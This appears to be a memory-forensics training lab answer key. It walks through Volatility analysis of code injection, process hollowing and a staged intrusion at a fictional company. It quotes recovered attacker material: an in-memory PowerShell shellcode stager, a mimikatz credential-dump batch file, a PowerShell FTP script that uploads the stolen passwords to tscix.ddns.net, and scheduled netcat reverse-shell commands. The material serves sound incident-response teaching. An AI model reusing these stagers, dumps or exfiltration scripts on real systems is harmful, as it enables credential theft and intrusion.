950203d0b4ac5fe8/analysis/
Note: you can also use photorec on your Linux VM to carve PDF files from the memory
dump.
11. (Bonus) Use bulk_extractor to recover remnant packets in the memory capture. In the
produced packets.pcap output file can you find any tracks of the call to download a.php?
Using the ‘net’ collection filter to bulk_extractor will produce the packets.pcap file:
$ bulk_extractor -E net -o out clientside.mem
You can then run tcpdump (or PCAP-parsing tool/library) to discover information related to
the a.php download:
Profile: Win10x64_17763
Suggested Plugins: pslist, malfind, threads, vadinfo, vaddump, dlldump, netscan, yarascan,
cmdline, dumpfiles
Lab Files: https://volexity-memory-
forensics.s3.amazonaws.com/Training/CodeInjection_20220823191519.zip
1. Which process(es) (if any) are hosting injected code? What are the memory range(s)? What
characteristics of the memory range are solid indicators (i.e.,
PAGE_EXECUTE_READWRITE)?
2. Extract any PE/DLLs that were injected. Inspect with strings, pe_preview.py, or ida64. Make
note of any interesting aspects.
3. Assuming the malware changes page permissions or zeros out the MZ header, what other
way(s) can you identify the injected code? Focus on threads whose Win32StartAddress
points to an "UNKNOWN" region of process (usermode) memory and that was not found by
ScannerOnly (threads found only by a scanner are no longer active).
4. Extract any additional memory regions found by inspecting threads. Does malfind (with or
without --refine) locate the same region(s)? Why or why not? What does the region contain?
6. Decode as much of the exploit chain as you can. How does it avoid leaving artifacts on the
file system? Where does it obtain the final payload stage?
7. Assuming PowerShell console history isn't logged (or attackers tried to cover their tracks by
deleting or truncating the log), how else can you analyze the exploit chain? Hint: Dump and
parse the PowerShell operational event log.
8. Scan memory with the provided YARA signatures, using Volatility's yarascan plugin. Which
process(es) trigger the rules? Which can be ignored, if any (and why)?
Answers
1. Which process(es) (if any) are hosting injected code? What are the memory range(s)? What
characteristics of the memory range are solid indicators (i.e.,
PAGE_EXECUTE_READWRITE)?
The following output of malfind (refined) shows a single region in PowerShell.exe pid 5820 with
VadS tag, RWX protection, private memory flag set, and an MZ signature at the base.
0x140fca70000 4d 5a 41 52 55 48 89 e5 48 83 ec 20 48 83 e4 f0 MZARUH..H...H...
0x140fca70010 e8 00 00 00 00 5b 48 81 c3 e7 5a 00 00 ff d3 48 .....[H...Z....H
0x140fca70020 81 c3 04 b1 02 00 48 89 3b 49 89 d8 6a 04 5a ff ......H.;I..j.Z.
0x140fca70030 d0 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 ................
2. Extract any PE/DLLs that were injected. Inspect with strings, pe_preview.py, or ida64. Make
note of any interesting aspects.
199728: http://10.0.11.195:443/V-IlqkpLIigB0wDRYtYnFA8YOk8Kq9l0BTD--
1z09Kl7AdrD7PG9uAKjGeEHhIqsArR9ir5Fy4TOlKGDEcplyX1N/
201276: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
3. Assuming the malware changes page permissions or zeros out the MZ header, what other
way(s) can you identify the injected code? Focus on threads whose Win32StartAddress
points to an "UNKNOWN" region of process (usermode) memory and that was not found by
ScannerOnly (threads found only by a scanner are no longer active).
Taking a closer look at these results, all but 1 of them (the last 0x140fc9d0000) have the
ScannerOnly tag, and so can be ignored. These threads are no longer active.
Thus, you can focus on this one result, which is clearly in the PowerShell (pid 5820) process.
4. Extract any additional memory regions found by inspecting threads. Does malfind (with or
without --refine) locate the same region(s)? Why or why not? What does the region contain?
As you can see from the previous answer, the thread's starting address (0x140fc9d0000) is
near the region identified by malfind (0x140fca70000) but they are technically separate VADs:
This range is NOT identified by malfind, because the page protection is PAGE_READWRITE,
which implies it is not executable. Keep in mind, the VADs only record the original page
protection (at the time of allocation). The protection can be changed to executable later, using
VirtualProtect.
$ xxd ./powershell.exe.21a0ea080.0x00000140fc9d0000-0x00000140fc9d0fff.dmp
00000000: fc48 83e4 f0e8 cc00 0000 4151 4150 5248 .H........AQAPRH
00000010: 31d2 6548 8b52 6051 5648 8b52 1848 8b52 1.eH.R`QVH.R.H.R
00000020: 2048 8b72 504d 31c9 480f b74a 4a48 31c0 H.rPM1.H..JJH1.
00000030: ac3c 617c 022c 2041 c1c9 0d41 01c1 e2ed .<a|., A...A....
00000040: 5241 5148 8b52 208b 423c 4801 d066 8178 RAQH.R .B<H..f.x
00000050: 180b 020f 8572 0000 008b 8088 0000 0048 .....r.........H
00000060: 85c0 7467 4801 d044 8b40 2050 8b48 1849 ..tgH..D.@ P.H.I
00000070: 01d0 e356 48ff c94d 31c9 418b 3488 4801 ...VH..M1.A.4.H.
00000080: d648 31c0 ac41 c1c9 0d41 01c1 38e0 75f1 .H1..A...A..8.u.
00000090: 4c03 4c24 0845 39d1 75d8 5844 8b40 2449 L.L$.E9.u.XD.@$I
000000a0: 01d0 6641 8b0c 4844 8b40 1c49 01d0 418b [email protected].
000000b0: 0488 4801 d041 5841 585e 595a 4158 4159 ..H..AXAX^YZAXAY
000000c0: 415a 4883 ec20 4152 ffe0 5841 595a 488b AZH.. AR..XAYZH.
000000d0: 12e9 4bff ffff 5d48 31db 5349 be77 696e ..K...]H1.SI.win
000000e0: 696e 6574 0041 5648 89e1 49c7 c24c 7726 inet.AVH..I..Lw&
000000f0: 07ff d553 5348 89e1 535a 4d31 c04d 31c9 ...SSH..SZM1.M1.
00000100: 5353 49ba 3a56 79a7 0000 0000 ffd5 e80c SSI.:Vy.........
00000110: 0000 0031 302e 302e 3131 2e31 3935 005a ...10.0.11.195.Z
00000120: 4889 c149 c7c0 bb01 0000 4d31 c953 536a H..I......M1.SSj
00000130: 0353 49ba 5789 9fc6 0000 0000 ffd5 e837 .SI.W..........7
00000140: 0000 002f 562d 496c 716b 704c 4969 6742 .../V-IlqkpLIigB
00000150: 3077 4452 5974 596e 7441 4a54 4a37 395f 0wDRYtYntAJTJ79_
00000160: 7551 7057 465a 4d55 7578 7135 316d 4f74 uQpWFZMUuxq51mOt
00000170: 5368 7033 715f 5566 4800 4889 c153 5a41 Shp3q_UfH.H..SZA
00000180: 584d 31c9 5348 b800 0228 8400 0000 0050 XM1.SH...(.....P
00000190: 5353 49c7 c2eb 552e 3bff d548 89c6 6a0a SSI...U.;..H..j.
000001a0: 5f53 5a48 89f1 4d31 c94d 31c9 5353 49c7 _SZH..M1.M1.SSI.
000001b0: c22d 0618 7bff d585 c075 1f48 c7c1 8813 .-..{....u.H....
000001c0: 0000 49ba 44f0 35e0 0000 0000 ffd5 48ff ..I.D.5.......H.
000001d0: cf74 02eb cce8 5500 0000 5359 6a40 5a49 .t....U...SYj@ZI
000001e0: 89d1 c1e2 1049 c7c0 0010 0000 49ba 58a4 .....I......I.X.
000001f0: 53e5 0000 0000 ffd5 4893 5353 4889 e748 S.......H.SSH..H
00000200: 89f1 4889 da49 c7c0 0020 0000 4989 f949 ..H..I... ..I..I
00000210: ba12 9689 e200 0000 00ff d548 83c4 2085 ...........H.. .
00000220: c074 b266 8b07 4801 c385 c075 d258 c358 .t.f..H....u.X.X
00000230: 6a00 5949 c7c2 f0b5 a256 ffd5 0000 0000 j.YI.....V......
00000240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000250: 0000 0000 0000 0000 0000 0000 0000 0000 ................
This command shows the offset of the cached file. Although the header shows “Offset(P)” this is
actually a kernel virtual address due to where the objects are found on Windows 10 and later
systems.
The trailing "L" stands for "Long" and is just a quirk of python data representation. You don't
need the "L" for future commands.
This is a plain text file, padded with zeros at the end (to fill the remainder of a 4K page). You
can view it with "cat" or "strings":
$ cat file.None.0xffff9980063a6310.ConsoleHost_history.txt.dat
Get-MpComputerStatus
powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegB[snip]
cd .\Desktop\volcano-collect-22.07.21-windows\
.\volcano-collect.exe .\collect-config-awww-tes-feeae02c.json
6. Decode as much of the exploit chain as you can. How does it avoid leaving artifacts on the
file system? Where does it obtain the final payload stage?
The -e parameter is a base64 string. You can decode it on command-line of your Kali VM or
with Cyber Chef.
As you can see, the decoded command runs another PowerShell instance for the “second
stage” payload. The command is also base64 encoded, but based on the PowerShell methods
revealed above, it is also compressed. Use pwsh on your Kali VM to decode the script, without
running it. Note that the powershell package that provides the pwsh command is not available
on Linux ARM. Here’s an example:
$ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
└─PS> [scriptblock]::create([snip].ReadToEnd())
function t7tZ {
Param ($eac, $nG)
$nx = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object
{ $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-
1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $nx.GetMethod('GetProcAddress',
[Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null,
@([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($nx.GetMethod('GetModuleHandle')).Invoke($null, @($eac)))), $nG))
}
function vR4 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $ww3,
[Parameter(Position = 1)] [Type] $xjL = [Void]
)
$urel = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModu
le', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$urel.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
$ww3).SetImplementationFlags('Runtime, Managed')
$urel.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xjL,
$ww3).SetImplementationFlags('Runtime, Managed')
return $urel.CreateType()
}
[Byte[]]$gwM =
[System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSZUiLUmBRVkiLUhhIi1IgSItyUE
0xyUgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB
0ESLQCBQi0gYSQHQ41ZI/8lNMclBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDE
hEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFW
SInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6AwAAAAxMC4wLjExLjE5NQBaSInBScfAuw
EAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6DcAAAAvVi1JbHFrcExJaWdCMHdEUll0WW50QUpUSjc5X3VRcFdGWk1V
dXhxNTFtT3RTaHAzcV9VZkgASInBU1pBWE0xyVNIuAACKIQAAAAAUFNTScfC61UuO//VSInGagpfU1pIifFNMc
lNMclTU0nHwi0GGHv/1YXAdR9Ix8GIEwAASbpE8DXgAAAAAP/VSP/PdALrzOhVAAAAU1lqQFpJidHB4hBJx8AA
EAAASbpYpFPlAAAAAP/VSJNTU0iJ50iJ8UiJ2knHwAAgAABJiflJuhKWieIAAAAA/9VIg8QghcB0smaLB0gBw4
XAddJYw1hqAFlJx8LwtaJW/9U=")
[Uint32]$wQir = 0
$g9f = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t7tZ
kernel32.dll VirtualAlloc), (vR4 @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, $gwM.Length,0x3000, 0x04)
As you can see from the PowerShell methods, it's going to build an in-memory assembly
module. It allocates memory with VirtualAlloc and then executes it with CreateThread. The
actual payload/shellcode is another base64 encoded string. Decode this one too:
└─PS> $x=[System.Convert]::FromBase64String("/EiD5PDoz[snip]W/9U=")
└─PS> Write-Host $x
This is a list of shellcode bytes, so most will not be printable or readable. However, most
shellcode will embed some strings as well, for loading DLLs, calling APIs, and passing strings
into the APIs. There are many ways to process this, but we decided to use python3:
$ python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> chars="252 72 131 228 [snip] 86 255 213".split(" ")
>>> len(chars)
572
>>> import string
>>> "".join([chr(int(c)) for c in chars if chr(int(c)) in string.printable])
‘HAQAPRH1eHR`QVHRHR HrPM1HJJH1<a|, A\rARAQHR B<Hfx\x0brHtgHD@
PHIVHM1A4HH1A\rA8uLL$E9uXD@$IfA\x0cHD@IAHAXAX^YZAXAYAZH
ARXAYZHK]H1SIwininetAVHILw&SSHSZM1M1SSI:Vy\x0c10.0.11.195ZHIM1SSjSIW7/V-
IlqkpLIigB0wDRYtYntAJTJ79_uQpWFZMUuxq51mOtShp3q_UfHHSZAXM1SH(PSSIU.;Hj\n_SZHM1M1SSI-
{uHID5HtUSYj@ZIIIXSHSSHHHI IIH tfHuXXjYIV’
Given this is only 572 bytes, it's not likely to be the main payload. Note that "wininet" and what
appears to be an IP address (10.0.11.195) is revealed in the shellcode.
NOTE: Keen analysts will recognize this code. It is the region extracted from 0x0140fc9d0000
and disassembled in question 4. This is what downloads and runs the final payload, which is the
PE file identified by the malfind plugin in question 1.
7. Assuming PowerShell console history isn't logged (or attackers tried to cover their tracks by
deleting or truncating the log), how else can you analyze the exploit chain? Hint: Dump and
parse the PowerShell operational event log.
$ evtx_dump.py file.None.0xffff998004fefd60.Microsoft-Windows-
PowerShell%4Operational.evtx.vacb > parsed.evtx.txt
These logs contain the decoded versions of the first and second stage payloads!
8. Scan memory with the provided YARA signatures, using Volatility's yarascan plugin. Which
process(es) trigger the rules? Which can be ignored, if any (and why)?
MsMpEng.exe is Microsoft's Malware Protection Engine. As such, it has its own signature
database loaded into memory, which will trigger our YARA rules. These are benign and can be
ignored.
The svchost.exe instance is a shared service host process. We need to investigate which
service(s) the process is running. You can do this by inspecting the cmdline plugin's output or
by running svcscan and looking for services that match the pid (1156).
2. For any processes that are allegedly hollowed, use vadinfo to display details on the suspect
memory region. Explain the "smoking gun" characteristics.
3. Extract the running process executable with procdump. Extract the cached copy of
chkdsk.exe from disk with dumpfiles. Compare the PE headers, sections, imports, exports,
and strings with pe_preview.py. What seems out of the ordinary for a typical process
hollowing attack?
4. From the pe_preview.py output, make note of the AddressOfEntryPoint value. This is the
relative offset (from the start of the PE file) of the program's first instruction (i.e., the main()).
Load the dumped process and one of the extracted files into IDA Pro. It should begin
disassembling at AddressOfEntryPoint. Do you see anything significant?
5. Analyze threads for the suspect process(es). Are you able to make any correlations
between the threads and the memory ranges previously identified?
6. Another malicious component on this compromised machine survives reboots via scheduled
tasks. Unfortunately, the autoruns plugin doesn't do a thorough job with these particular
artifacts. Instead, hunt for scheduled task files (located under Windows\System32\Tasks).
Dump and parse any that appear interesting. What's the name of the scheduled task and full
path to the target executable on disk?
7. Assuming the scheduled task file was NOT cached in memory, how might you still identify
the persistence point? As a hint, there's a cache of tasks in the SOFTWARE registry hive,
under the "Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" subkey.
Look for the most recently modified entries.
8. How does the malware intend to evade Windows Defender? Adding exclusions is a common
and straightforward method. Determine where you would look in the registry for exclusions.
What kind of exclusion was added (i.e., file path, process, extension)?
Answers
There are two injected code regions in chkdsk.exe (0xd40000 and 0x13d0000).
0x00d40000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x00d40010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x00d40020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00d40030 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 ................
0x013d0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x013d0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x013d0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x013d0030 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 ................
2. For any processes that are allegedly hollowed, use vadinfo to display details on the suspect
memory region. Explain the "smoking gun" characteristics.
The hollowfind plugin reveals most of the details. However, you can also learn the process'
image base address directly via volshell:
3. Extract the running process executable with procdump. Extract the cached copy of
chkdsk.exe from disk with dumpfiles. Compare the PE headers, sections, imports, exports,
and strings with pe_preview.py. What seems out of the ordinary for a typical process
hollowing attack?
The next command confirms that chkdsk.exe from disk is cached. There are actually 2 file
objects (not including the .mui):
$ ls -al *chkdsk*
-rw-r--r-- 1 kali kali 25600 Apr 21 19:06 file.None.0xffff890a9b12a2a0.chkdsk.exe.img
-rw-r--r-- 1 kali kali 24576 Apr 21 19:06 file.None.0xffff890aa25d68b0.chkdsk.exe.dat
Upon comparing the dumped process with the cached file, they appear practically the same.
The file size and hashes differ, but that is expected for programs loaded into memory. However,
the PE headers, sections, imports/exports, and strings are more or less identical.
What's the point of hollowing out a process and replacing it with the original content?
4. From the pe_preview.py output, make note of the AddressOfEntryPoint value. This is the
relative offset (from the start of the PE file) of the program's first instruction (i.e., the main()).
Load the dumped process and one of the extracted files into IDA Pro. It should begin
disassembling at AddressOfEntryPoint. Do you see anything significant?
$ ida64 executable.5012.exe
$ ida64 file.None.0xffff890a9b12a2a0.chkdsk.exe.img
As shown in the following screen shots, instructions at AddressOfEntryPoint differ between the
two PE files. The dumped process has been modified to call a function at 96F1FDh which is
NOT even within the same VAD range (13d0000 - 13d9fff). This is a trick to mislead analysts
into thinking the process is not actually hollowed.
5. Analyze threads for the suspect process(es). Are you able to make any correlations
between the threads and the memory ranges previously identified?
There are 4 threads total, but 2 have the ScannerOnly tag which means they're no longer
active. Of the 2 active threads, only 1 started in an UNKNOWN region of memory.
Priority: 0x8
TEB: 0x00b5a000
StartAddress: 0x7ffd34eea2d0 ntdll.dll
Win32StartAddress: 0x0096f319 UNKNOWN
Win32Thread: 0x00000000
CrossThreadFlags: PS_CROSS_THREAD_FLAGS_DEADTHREAD
...
The starting address (0x0096f319) is within the same range as the modified
AddressOfEntryPoint (96F1FDh).
6. Another malicious component on this compromised machine survives reboots via scheduled
tasks. Unfortunately, the autoruns plugin doesn't do a thorough job with these particular
artifacts. Instead, hunt for scheduled task files (located under Windows\System32\Tasks).
Dump and parse any that appear interesting. What's the name of the scheduled task and full
path to the target executable on disk?
<Date>2014-10-25T14:27:44.8929027</Date>
<Author>EC2AMAZ-M2FC9M0\Administrator</Author>
<URI>\Updates\fkjsDNq</URI>
</RegistrationInfo>
...
<Actions Context="Author">
<Exec>
<Command>C:\Users\Administrator\AppData\Roaming\fkjsDNq.exe</Command>
</Exec>
</Actions>
</Task>
7. Assuming the scheduled task file was NOT cached in memory, how might you still identify
the persistence point? As a hint, there's a cache of tasks in the SOFTWARE registry hive,
under the "Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" subkey.
Look for the most recently modified entries.
----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: {77ABB657-2AA3-430E-812C-62A3700344F1} (S)
Last updated: 2022-08-26 00:26:56 UTC+0000
Subkeys:
Values:
REG_SZ Path : (S) \Updates\fkjsDNq
REG_BINARY Hash : (S)
0x00000000 63 36 13 79 aa fd b4 8a 90 6d 39 14 fd 62 54 90 c6.y.....m9..bT.
0x00000010 16 7d bb 97 ee d5 56 d5 1b 29 9c 52 81 69 69 a5 .}....V..).R.ii.
REG_DWORD Schema : (S) 65538
REG_SZ Date : (S) 2014-10-25T14:27:44.8929027
REG_SZ Author : (S) EC2AMAZ-M2FC9M0\Administrator
REG_SZ URI : (S) \Updates\fkjsDNq
REG_BINARY Triggers : (S)
...
REG_BINARY Actions : (S)
0x00000000 03 00 0c 00 00 00 41 00 75 00 74 00 68 00 6f 00 ......A.u.t.h.o.
0x00000010 72 00 66 66 00 00 00 00 64 00 00 00 43 00 3a 00 r.ff....d...C.:.
0x00000020 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 41 00 \.U.s.e.r.s.\.A.
0x00000030 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 d.m.i.n.i.s.t.r.
0x00000040 61 00 74 00 6f 00 72 00 5c 00 41 00 70 00 70 00 a.t.o.r.\.A.p.p.
0x00000050 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 D.a.t.a.\.R.o.a.
0x00000060 6d 00 69 00 6e 00 67 00 5c 00 66 00 6b 00 6a 00 m.i.n.g.\.f.k.j.
0x00000070 73 00 44 00 4e 00 71 00 2e 00 65 00 78 00 65 00 s.D.N.q...e.x.e.
0x00000080 00 00 00 00 00 00 00 00 00 00
...
8. How does the malware intend to evade Windows Defender? Adding exclusions is a common
and straightforward method. Determine where you would look in the registry for exclusions.
What kind of exclusion was added (i.e., file path, process, extension)?
The exclusions are stored in the SOFTWARE hive under the "Microsoft\Windows
Defender\Exclusions" subkey:
----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: Exclusions (S)
Last updated: 2022-08-25 23:28:13 UTC+0000
Subkeys:
(S) 2022-08-25 23:28:13 UTC+0000 Extensions
(S) 2022-08-25 23:28:13 UTC+0000 IpAddresses
(S) 2022-08-26 00:27:01 UTC+0000 Paths
(S) 2022-08-25 23:28:13 UTC+0000 Processes
(S) 2022-08-25 23:28:13 UTC+0000 TemporaryPaths
----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: Paths (S)
Last updated: 2022-08-26 00:27:01 UTC+0000
Subkeys:
Values:
REG_DWORD C:\ : (S) 0
REG_DWORD C:\Users\Administrator\AppData\Roaming\fkjsDNq.exe : (S) 0
TSCIX is a private company with ownership of various types of highly sensitive intellectual
property. An employee received an email from another employee of the company instructing her
to install team communication (chat) software, and she complied. When she reached back out
to the purported sender for further instructions on how to configure the software, suspicious was
raised. A network administrator logged into her machine via RDP to run a couple security scans,
but didn’t find anything malicious. Later that day, the admin supplied a license for MalwareBytes
Anti-Malware for the user to run a full scan of her machine – nothing was found then either. As a
precaution, the company captured memory and asked for help determining if any systems were
really compromised.
Summary of Evidence
REED: Janice Reed’s machine (user who received the unexpected email)
IP: 10.3.0.7
OS: Windows 7 SP1 x64 (Win7SP1x64_23418)
KDBG: 0xf80002838110
PIERCE: Paul Pierce’s machine (domain admin who was helping troubleshoot)
IP: 10.3.0.9
OS: Windows 7 SP1 x64 (Win7SP1x64_23418)
KDBG: 0xf80002854110
Answers
Investigating Reed’s System
Based on the malicious email headers, the message was sent from outside of the company using a
Linux (Ubuntu) system at 128.199.111.106. An ASN lookup tells us it’s an address in Singapore on
the Digital Ocean Cloud:
AS133165
Country: SG
Registration Date: 2013-11-18
Registrar: apnic
Owner: DIGITALOCEAN-AS-AP Digital Ocean, Inc., SG
To start the investigation, Reed’s system could have been analyzed for references to
“TeamCommunicator” since this was the name of the malicious software sent as well as a substring
within the name of the attachment. Running filescan and searching its output reveals several
pertinent references:
As can be seen, there is a TeamCommunicator executable on the user Reed’s Desktop as well
as a TeamCommunicator folder with several files of interest. We can then use the
prefetchparser and shimcachemem plugins to determine which files related to the
TeamCommunicator install were executed as well as their execution time.
We now have proof of several files being associated with TeamCommunicator as well as the
fact that several executed. By using dumpfiles, we can extract the file objects found through
filescan. This will help us determine exactly what the malware was capable of performing. To
start, we will run dumpfiles with the offset to each of the related files given:
$ volatility --profile=Win7SP1x64_23418 -f reed.lime.raw dumpfiles -n -D
outputdirectory/ -Q
0x00000001b97e8ca0,0x00000001bdfdc070,0x00000001be1ee3a0,0x00000001be38cbb0,0x00000001
bf4132e0
Volatility Foundation Volatility Framework 2.5
ImageSectionObject 0x1b97e8ca0 None
\Device\HarddiskVolume1\Users\Reed\Desktop\TeamCommunicator_v14.3_Windows\TeamCommunic
ator.exe
ImageSectionObject 0x1bdfdc070 None
\Device\HarddiskVolume1\Windows\System32\TeamCommunicator\uninstall.exe
DataSectionObject 0x1bdfdc070 None
\Device\HarddiskVolume1\Windows\System32\TeamCommunicator\uninstall.exe
ImageSectionObject 0x1be1ee3a0
None \Device\HarddiskVolume1\Windows\System32\TeamCommunicator\tcomm.exe
DataSectionObject 0x1be1ee3a0 None
\Device\HarddiskVolume1\Windows\System32\TeamCommunicator\tcomm.exe
DataSectionObject 0x1be38cbb0 None
\Device\HarddiskVolume1\Windows\System32\TeamCommunicator\contacts.bat
DataSectionObject 0x1bf4132e0 None
\Device\HarddiskVolume1\Windows\System32\TeamCommunicator\cleanup.ps1
Strings analysis of these files reveals their purposes. For instance, in uninstall.dat, we see
references to the Netcat help menu:
[v1.12 NT http://eternallybored.org/misc/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports
VS_VERSION_INFO
StringFileInfo
040904b0
ProductName
mimikatz
ProductVersion
2.1.0.0
CompanyName
gentilkiwi (Benjamin DELPY)
FileDescription
mimikatz for Windows
FileVersion
2.1.0.0
InternalName
mimikatz
The cleanup.ps1 file is used for data exfiltration (show in its entirety):
$ftp = [System.Net.FtpWebRequest]::Create("ftp://tscix.ddns.net/pwd.txt")
$ftp = [System.Net.FtpWebRequest]$ftp
$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$ftp.Credentials = new-object
System.Net.NetworkCredential("anonymous","anonymous@localhost")
$ftp.UseBinary = $true
$ftp.UsePassive = $true
$content = [System.IO.File]::ReadAllBytes("C:\Windows\System32\TeamCommunicator\pwd.txt")
$ftp.ContentLength = $content.Length
$rs = $ftp.GetRequestStream()
$rs.Write($content, 0, $content.Length)
$rs.Close()
$rs.Dispose()
As can be seen, this script uses PowerShell to make a remote FTP connection (to
tscix.ddns.net) and upload a local file named pwd.txt. The tscix.ddns.net hostname resolves to
the same IP address being used by the attacker in Singapore, at the time of the initial
investigation.
$ host tscix.ddns.net
tscix.ddns.net has address 128.199.111.106
@echo off
cd C:\Windows\System32\TeamCommunicator
cmd.exe /c "tcomm.exe privilege::debug sekurlsa::logonpasswords exit" > pwd.txt
timeout 15 > nul
powershell -File cleanup.ps1
del pwd.txt
This batch script changes directories to the TeamCommunicator directory and then runs tcomm
with command line options that direct mimikatz to dump all the clear text credentials stored on
the local system. These credentials are written into the pwd.txt file that the cleanup PowerShell
script exfiltrates.
Finally, the TeamCommunicator executable seems to embed the previously shown programs
inside of it as well as commands related to them. In particular, there are two strings related to
the creation of scheduled tasks:
schtasks /create /tn "Team Communicator" /tr %s /sc minute /mo 5 /RL HIGHEST
schtasks /create /tn "TC Cleanup" /tr "%s -v tscix.ddns.net 443 -e cmd.exe" /sc minute /mo 30
These commands, if run successfully, would create scheduled Tasks named “Team Communicator”
and “TC Cleanup” set to run every 5 and 30 minutes respectively. Unfortunately, the programs that
these tasks execute are not in the embedded command due to the use of a format string. To
determine these values, we try the autoruns plugin to list all scheduled tasks. This output can then
be filtered to just the malicious ones:
Enabled: true
StartBoundary: 2016-08-24T12:24:00
In this case, the autoruns plugin was able to find and parse the TC Cleanup scheduled task
and we now know that uninstall.exe (netcat) will run every 30 minutes. Based on the arguments,
we can infer that this scheduled task will open a backdoor connection to the system.
Finding the program for the “Team Communicator” scheduled task requires further work. strings
analysis on the entire memory dump only finds the string with the format parameter, which does
not give us any further information. To dig deeper, we can extract the task scheduler event log
from memory and then use python-evtx (or any other evtx parser) to parse the extracted file:
We now know that the contacts.bat script is run every 5 minutes, which means that passwords
and/or password hashes are constantly being exfiltrated from the Reed machine.
At this point, we know that machine has malware installed on it in a persistent manner.
It now makes sense to build a timeline from memory so that we can see how these files are
utilized as well as what activity occurred around the timeframe. Review of the timeline reveals
two important artifacts that were not yet previously found.
The first is that the Y drive of the Reed system is mapped to the C$ share of the domain
controller:
The C$ share is typically accessible to administrators only, and the Reed user is not an admin,
so the attacker must have leveraged stolen credentials. Why were admin credentials accessible
from the Reed machine?
If you remember the scenario, the domain admin (Pierce) connected to Reed’s machine over
RDP to look around and run some security scans after Reed reported the suspicious email.
Running cachedump shows the cached domain admin password hash:
Here’s an extracted email conversation between Reed and Pierce regarding the suspicious
email and showing why Pierce used RDP in the first place. The email fragment(s) are present in
the memory of all systems; however the following output is from DC01 (exchange server).
Although we cannot find any specific references to files stored on the Y drive through strings
analysis, the fact that this drive was mapped will be very useful when investigating the domain
controller.
The second useful information is a reference to a PowerShell script named ftp.ps1 that was not
found by filescan:
Since this file is MFT resident, we can view its contents with mftparser:
$STANDARD_INFORMATION
Creation Modified MFT
Altered Access Date Type
------------------------------ ------------------------------ -----------------------------
- ------------------------------ ----
2016-08-24 14:10:34:000000 UTC+0000 2016-08-24 14:12:23:000000 UTC+0000 2016-08-24
14:12:23:000000 UTC+0000 2016-08-24 14:12:22:000000 UTC+0000 Archive
$FILE_NAME
Creation Modified MFT
Altered Access Date Name/Path
------------------------------ ------------------------------ -----------------------------
- ------------------------------ ---------
2016-08-24 14:10:34:000000 UTC+0000 2016-08-24 14:12:22:000000 UTC+0000 2016-08-24
14:12:22:000000 UTC+0000 2016-08-24 14:12:22:000000 UTC+0000 ftp.ps1
$DATA
0000000000: 24 66 74 70 20 3d 20 5b 53 79 73 74 65 6d 2e 4e $ftp.=.[System.N
0000000010: 65 74 2e 46 74 70 57 65 62 52 65 71 75 65 73 74 et.FtpWebRequest
0000000020: 5d 3a 3a 43 72 65 61 74 65 28 22 66 74 70 3a 2f ]::Create("ftp:/
0000000030: 2f 74 73 63 69 78 2e 64 64 6e 73 2e 6e 65 74 2f /tscix.ddns.net/
